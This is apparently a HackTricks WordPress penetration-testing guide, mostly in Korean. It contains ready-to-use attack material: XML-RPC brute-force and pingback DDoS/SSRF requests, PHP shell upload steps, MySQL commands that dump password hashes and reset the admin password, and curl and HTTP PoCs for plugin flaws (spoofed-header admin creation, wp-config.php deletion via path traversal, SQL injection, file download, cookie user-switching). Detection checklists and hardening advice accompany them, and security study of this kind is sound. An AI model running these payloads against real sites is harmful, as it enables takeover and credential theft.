Wordpress
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
-
Uploaded 파일은 다음 위치에 저장됩니다:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
테마 파일은 /wp-content/themes/에서 찾을 수 있습니다, 따라서 테마의 php를 변경하여 RCE를 얻으려는 경우 일반적으로 해당 경로를 사용하게 됩니다. 예: theme twentytwelve를 사용하면 다음에서 404.php 파일에 접근할 수 있습니다: /wp-content/themes/twentytwelve/404.php
-
또 다른 유용한 URL: /wp-content/themes/default/404.php
-
wp-config.php파일에서 데이터베이스 루트 비밀번호를 찾을 수 있습니다. -
확인할 기본 로그인 경로: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txt에는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다.wp-activate.php는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.php는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress 기능을 나타내는 파일입니다. 이러한 종류의 통신은 WordPress의 REST API로 대체되었습니다.wp-content폴더는 플러그인과 테마가 저장되는 주요 디렉터리입니다.wp-content/uploads/는 플랫폼에 업로드된 모든 파일이 저장되는 디렉터리입니다.wp-includes/는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉터리입니다.wp-sitemap.xmlWordPress 5.5 이상 버전에서는 모든 공개 게시물 및 공개적으로 쿼리 가능한 포스트 타입과 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다.
Post exploitation
wp-config.php파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명 및 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 또한 DEBUG 모드를 활성화하는 데 사용될 수 있으며, 문제 해결 시 유용합니다.
사용자 권한
- Administrator
- Editor: 게시하고 자신의 및 타인의 게시물을 관리합니다
- Author: 자신의 게시물을 게시하고 관리합니다
- Contributor: 게시물을 작성하고 관리할 수 있으나 게시할 수는 없습니다
- Subscriber: 게시물을 열람하고 자신의 프로필을 편집할 수 있습니다
Passive Enumeration
WordPress 버전 확인
파일 /license.txt 또는 /readme.html을 찾을 수 있는지 확인하세요.
페이지의 소스 코드 안에서 (예: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS 링크 파일
.png)
- JavaScript 파일
.png)
플러그인 가져오기
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
테마 가져오기
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
일반적으로 버전 추출하기
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
능동적 열거
플러그인 및 테마
아마 모든 플러그인과 테마를 찾을 수는 없습니다. 모두 찾으려면 적극적으로 Brute Force하여 플러그인 및 테마 목록을 조사해야 합니다 (운이 좋다면 이러한 목록을 포함한 자동화 도구가 있습니다).
사용자
- ID Brute: WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
curl -s -I -X GET http://blog.example.com/?author=1
응답이 200 또는 30X이면 해당 id가 유효하다는 의미입니다. 응답이 400이면 id가 무효입니다.
- wp-json: 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다:
curl http://blog.example.com/wp-json/wp/v2/users
사용자에 대한 일부 정보를 노출할 수 있는 또 다른 /wp-json/ endpoint는:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.
또한 /wp-json/wp/v2/pages는 IP 주소를 leak할 수 있습니다.
- Login username enumeration: 로그인 시 **
/wp-login.php**의 메시지는 지정한 username의 존재 여부에 따라 다릅니다.
XML-RPC
If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).
활성화 여부를 확인하려면 _/xmlrpc.php_에 접근해 다음 요청을 보내보세요:
확인
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories 또는 **metaWeblog.getUsersBlogs**는 credentials를 brute-force하는 데 사용할 수 있는 방법들 중 일부입니다. 만약 그 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
credentials가 유효하지 않은 경우 200 응답 코드 내에 “Incorrect username or password” 메시지가 표시되어야 합니다.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
올바른 credentials를 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
또한 동일한 요청에서 여러 credentials를 시도할 수 있기 때문에 **system.multicall**을 사용해 credentials를 brute-force하는 더 빠른 방법이 있습니다:
.png)
2FA 우회
이 방법은 사람을 위한 것이 아니라 프로그램용으로 만들어진 오래된 방식이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 로그인에 2FA가 걸려 있다면, xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있을지도 모릅니다. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명하듯 여전히 RCE에 도달할 수 있을지도 모릅니다.
DDoS 또는 port scanning
목록에서 pingback.ping 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.
이것은 수천의 Wordpress 사이트에게 한 대상에 접근하도록 요청하여 해당 위치에서 DDoS를 발생시키거나, Wordpress로 내부 네트워크를 scan하게 만들 수 있습니다(임의의 포트를 지정할 수 있음).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

0 (17)보다 큰 값을 가진 faultCode를 받으면, 포트가 열려 있다는 뜻입니다.
이 방법을 악용해 DDoS를 발생시키는 방법을 배우려면 이전 섹션에서 **system.multicall**의 사용을 확인하세요.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
When this file is 접근되면 a “무거운” MySQL query is performed, so I could be used by 공격자 to cause a DoS.
Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.
자동화 도구
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
비트 덮어쓰기로 접근 획득
실제 공격이라기보다는 호기심에 가까운 사례입니다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서는 모든 wordpress 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 파일 /var/www/html/wp-includes/user.php의 위치 5389의 비트를 뒤집어 NOT (!) 연산을 NOP로 만들 수 있었습니다.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
사용된 테마의 php 수정 (관리자 자격 증명 필요)
Appearance → Theme Editor → 404 Template (오른쪽에 있음)
php shell용으로 내용을 변경하세요:
.png)
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우 다음 주소로 접근하면 됩니다: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
다음을 사용할 수 있습니다:
use exploit/unix/webapp/wp_admin_shell_upload
세션을 얻기 위해.
Plugin RCE
PHP plugin
.php 파일을 plugin으로 업로드할 수 있을 수도 있습니다.
예를 들어 다음과 같이 php backdoor를 만드세요:
.png)
그런 다음 새 plugin을 추가하세요:
.png)
plugin을 업로드하고 Install Now를 누르세요:
.png)
Procced를 클릭하세요:
.png)
아마도 아무 일도 일어나지 않는 것처럼 보이지만, Media로 이동하면 업로드된 shell을 볼 수 있습니다:
.png)
해당 항목에 접근하면 reverse shell을 실행할 수 있는 URL을 볼 수 있습니다:
.png)
Uploading and activating malicious plugin
이 방법은 취약한 것으로 알려진 악성 plugin을 설치하여 web shell을 얻을 수 있도록 하는 절차입니다. 이 과정은 WordPress dashboard를 통해 다음과 같이 수행됩니다:
- Plugin Acquisition: 해당 plugin은 Exploit DB와 같은 출처에서 획득합니다(예: here).
- Plugin Installation:
- WordPress dashboard로 이동한 뒤
Dashboard > Plugins > Upload Plugin로 갑니다. - 다운로드한 plugin의 zip 파일을 업로드합니다.
- Plugin Activation: plugin이 성공적으로 설치되면 dashboard에서 활성화해야 합니다.
- Exploitation:
- “reflex-gallery” plugin이 설치·활성화된 상태라면 취약점이 알려져 있어 악용될 수 있습니다.
- Metasploit framework는 이 취약점에 대한 exploit을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 확보하여 사이트에 무단 접근할 수 있습니다.
- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나에 불과하다는 점에 유의하세요.
이 내용에는 WordPress dashboard에서 plugin을 설치하고 활성화하는 절차를 보여주는 시각 자료가 포함되어 있습니다. 다만 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법적이고 비윤리적임을 반드시 주의하세요. 이 정보는 책임감 있게, 예를 들어 명시적 허가를 받은 penetration testing과 같은 합법적 맥락에서만 사용해야 합니다.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: _WPXStrike_는 WordPress에서 Cross-Site Scripting (XSS) 취약점을 Remote Code Execution (RCE) 또는 다른 심각한 취약점으로 상승시킬 수 있도록 설계된 스크립트입니다. 자세한 내용은 this post를 확인하세요. 다음을 지원합니다:
- Privilege Escalation: WordPress에 사용자를 생성합니다.
- (RCE) Custom Plugin (backdoor) Upload: 커스텀 plugin(backdoor)을 WordPress에 업로드합니다.
- (RCE) Built-In Plugin Edit: WordPress의 Built-In Plugins을 편집합니다.
- (RCE) Built-In Theme Edit: WordPress의 Built-In Themes를 편집합니다.
- (Custom) Custom Exploits: 서드파티 WordPress Plugins/Themes에 대한 Custom Exploits를 제공합니다.
Post Exploitation
사용자 이름과 비밀번호 추출:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
관리자 비밀번호 변경:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress 플러그인 Pentest
공격 표면
Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심적입니다. 플러그인이 기능을 어떻게 노출할 수 있는지는 다음 항목에서 확인할 수 있으며, 취약한 플러그인의 예시는 this blog post에서 볼 수 있습니다.
wp_ajax
플러그인이 함수를 사용자에게 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러에는 로직, authorization, 또는 authentication 버그가 포함될 수 있습니다. 게다가 이러한 함수들이 인증과 권한 부여를 모두 wordpress nonce의 존재에 기반하는 경우가 꽤 자주 발생하는데, 이 nonce는 Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다(역할과 무관하게).
다음은 플러그인에서 함수를 노출하는 데 사용될 수 있는 함수들입니다:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.
Caution
더군다나, 만약 함수가
wp_verify_nonce함수로 사용자 권한만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- REST API
또한 wordpress에서 register_rest_route 함수를 사용해 REST API를 등록하여 함수를 노출시키는 것도 가능합니다:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback는 주어진 사용자가 해당 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
내장된 __return_true 함수를 사용하면 사용자 권한 확인을 건너뜁니다.
- 직접적인 php 파일 접근
물론, Wordpress는 php를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면 모든 사용자가 이를 악용할 수 있습니다.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
일부 플러그인은 내부 통합이나 리버스 프록시용으로 “trusted header” 단축을 구현하고, 그 헤더를 사용해 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 해당 헤더가 상위 구성요소에 의해 암호학적으로 요청에 바인딩되어 있지 않다면 공격자가 이를 스푸핑하여 administrator 권한으로 제한된 REST 경로에 접근할 수 있습니다.
- Impact: core users REST 경로를 통해 새로운 administrator를 생성하여 인증 없이 admin 권한으로 권한 상승.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(사용자 ID 1을 강제, 일반적으로 첫 번째 administrator 계정). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태에 대응시키고 권한 검사를 건너뜁니다.
- WordPress 코어는 이 라우트에 대해
create_users권한을 요구합니다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회합니다.
Expected success indicators
- 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201.
wp-admin/users.php에서 보이는 새로운 관리자 계정.
Detection checklist
getallheaders(),$_SERVER['HTTP_...'], 또는 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는 vendor SDKs를 grep합니다 (예:wp_set_current_user(),wp_set_auth_cookie()).- request headers에 의존하고 강력한
permission_callback검사가 없는 권한이 있는 콜백에 대한 REST 등록을 검토합니다. - 헤더 값만으로 게이트된 REST 핸들러 내부에서 핵심 사용자 관리 함수들(
wp_insert_user,wp_create_user)의 사용을 찾습니다.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 테마와 플러그인은 자주 wp_ajax_ 및 wp_ajax_nopriv_ 훅을 통해 AJAX 핸들러를 노출합니다. nopriv 변형이 사용될 때 콜백은 인증되지 않은 방문자에 의해 접근 가능해지므로, 민감한 동작은 추가로 다음을 구현해야 합니다:
- 권한 검사 (예:
current_user_can()또는 적어도is_user_logged_in()), 및 check_ajax_referer()/wp_verify_nonce()로 검증된 CSRF nonce, 및- 입력값에 대한 엄격한 정제/검증.
Litho multipurpose theme (< 3.1)는 Remove Font Family 기능에서 이 3가지 제어를 누락하여 다음과 같은 코드(단순화됨)를 배포했습니다:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
이 스니펫으로 인한 문제:
- Unauthenticated access – the
wp_ajax_nopriv_hook is registered. - No nonce / capability check – 모든 방문자가 해당 엔드포인트에 접근할 수 있습니다.
- No path sanitisation – 사용자 제어
fontfamily문자열이 필터링 없이 파일시스템 경로에 연결되어 클래식../../경로 이탈을 허용합니다.
Exploitation
공격자는 단일 HTTP POST 요청을 전송함으로써 uploads 기본 디렉터리 아래 (보통 <wp-root>/wp-content/uploads/)의 어떤 파일이나 디렉터리든 삭제할 수 있습니다:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
다른 영향력 있는 대상에는 플러그인/테마의 .php 파일(보안 플러그인을 무력화하기 위해) 또는 .htaccess 규칙이 있다.
감지 체크리스트
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concatenation of unsanitised user input into paths (look for
$_POST,$_GET,$_REQUEST). - Absence of
check_ajax_referer()andcurrent_user_can()/is_user_logged_in().
오래된 역할 복원과 권한 검사 누락을 통한 권한 상승 (ASE “View Admin as Role”)
많은 플러그인이 원래 역할을 user meta에 저장해 나중에 복원할 수 있게 “view as role” 또는 임시 역할 전환 기능을 구현한다. 복원 경로가 capabilities 확인과 유효한 nonce 없이 요청 변수(예: $_REQUEST['reset-for'])와 플러그인이 관리하는 목록에만 의존한다면, 이는 수직 권한 상승(vertical privilege escalation)이 된다.
실제 사례로 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견됐다. reset 분기(branch)는 내부 배열 $options['viewing_admin_as_role_are']에 사용자가 존재하면 reset-for=<username>에 따라 역할을 복원했지만, 현재 역할을 제거하고 user meta _asenha_view_admin_as_original_roles에서 저장된 역할을 다시 추가하기 전에 current_user_can() 체크나 nonce 검증을 전혀 수행하지 않았다:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Why it’s exploitable
- 서버 측 권한 확인 없이
$_REQUEST['reset-for']와 플러그인 옵션을 신뢰한다. - 사용자가 이전에
_asenha_view_admin_as_original_roles에 높은 권한이 저장되어 있다가 권한이 강등된 경우, reset 경로를 호출해 그 권한을 복원할 수 있다. - 일부 배포 환경에서는 인증된 사용자라면 누구나
viewing_admin_as_role_are에 여전히 남아 있는 다른 사용자 이름에 대해 reset을 트리거할 수 있다(권한 검증 결함).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: administrator)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
Detection checklist
- user meta에 “original roles”를 유지하는 역할 전환 기능(예:
_asenha_view_admin_as_original_roles)을 찾으세요. - 다음과 같은 리셋/복원 경로를 식별하세요:
- 사용자명을
$_REQUEST/$_GET/$_POST에서 읽음. current_user_can()및wp_verify_nonce()/check_admin_referer()없이add_role()/remove_role()로 역할을 변경함.- 행위자의 권한 대신 플러그인 옵션 배열(예:
viewing_admin_as_role_are)에 기반해 권한을 부여함.
- 사용자명을
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
일부 플러그인은 사용자 전환 헬퍼를 공개 init 훅에 연결하고 클라이언트가 제어하는 쿠키에서 신원을 유도합니다. 코드가 인증, 권한 및 유효한 nonce를 확인하지 않고 wp_set_auth_cookie()를 호출하면, 비인증 방문자도 임의의 사용자 ID로 강제 로그인할 수 있습니다.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
취약한 이유
- 공개된
init훅은 핸들러가 인증되지 않은 사용자도 접근 가능하게 만듭니다(is_user_logged_in()검사 없음). - 식별은 클라이언트에서 수정 가능한 쿠키(
original_user_id)로부터 파생됩니다. - 직접적인
wp_set_auth_cookie($uid)호출은 요청자를 해당 사용자로 로그인시키며 권한(capability)/nonce 검사 없이 실행됩니다.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF 고려사항 — WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
공격자 노트
- 플러그인별 엔드포인트를 깨끗한 페이로드로 타깃하세요:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, 사용자 정의 파일 핸들러, shortcodes. - 우선 unauth 경로를 먼저 테스트하세요 (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다. - 전형적인 높은 영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
방어 노트
- 일반적인 WAF 시그니처만으로 plugin CVEs를 보호하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치를 구현하거나 신속히 업데이트하세요.
- 코드에서는 negative regex 필터보다 positive-security 체크(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요.
WordPress 보호
정기 업데이트
WordPress, plugins, and themes가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
또한, 신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요.
보안 플러그인
기타 권장 사항
- 기본 admin 사용자 제거
- 강력한 비밀번호와 2FA 사용
- 주기적으로 사용자 권한을 검토하세요
- Brute Force 공격을 방지하기 위해 로그인 시도 제한 적용
wp-admin.php파일 이름을 변경하고 내부에서만 또는 특정 IP 주소에서만 접근을 허용하세요.
인증되지 않은 SQL Injection — 부적절한 검증으로 인해 (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin은 savecategory 작업을 노출시켰고, 이는 결국 다음의 취약한 코드를 modules/category/model.php::validateFormData() 내부에서 실행합니다:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
이 스니펫이 유발하는 문제:
- Unsanitised user input –
parentid가 HTTP 요청에서 그대로 전달됩니다. - String concatenation inside the WHERE clause –
is_numeric()/esc_sql()/ prepared statement 없음. - Unauthenticated reachability – 해당 액션은
admin-post.php를 통해 실행되지만, 유일한 검증은 CSRF nonce (wp_verify_nonce())뿐이며, 이 nonce는 shortcode[wpjobportal_my_resumes]를 포함한 공용 페이지에서 누구나 가져올 수 있습니다.
악용
- 새로운 nonce 획득:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid를 악용해 임의의 SQL을 주입:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi가 존재함을 입증합니다.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
다른 작업인 downloadcustomfile는 방문자가 Path Traversal을 이용해 디스크상의 모든 파일을 다운로드할 수 있게 허용했습니다. 취약한 sink는 modules/customfield/model.php::downloadCustomUploadedFile()에 위치합니다:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name은 공격자가 제어하며 입력 정화 없이 연결됩니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 CSRF nonce입니다.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
서버가 wp-config.php의 내용을 응답하여, leaking DB credentials and auth keys.
Social Login AJAX fallback를 통한 인증되지 않은 계정 탈취 (Jobmonster Theme <= 4.7.9)
많은 테마/플러그인이 admin-ajax.php를 통해 노출된 “social login” 헬퍼를 제공합니다. 만약 인증되지 않은 AJAX 액션(wp_ajax_nopriv_…)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 됩니다.
전형적인 취약 패턴(단순화)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
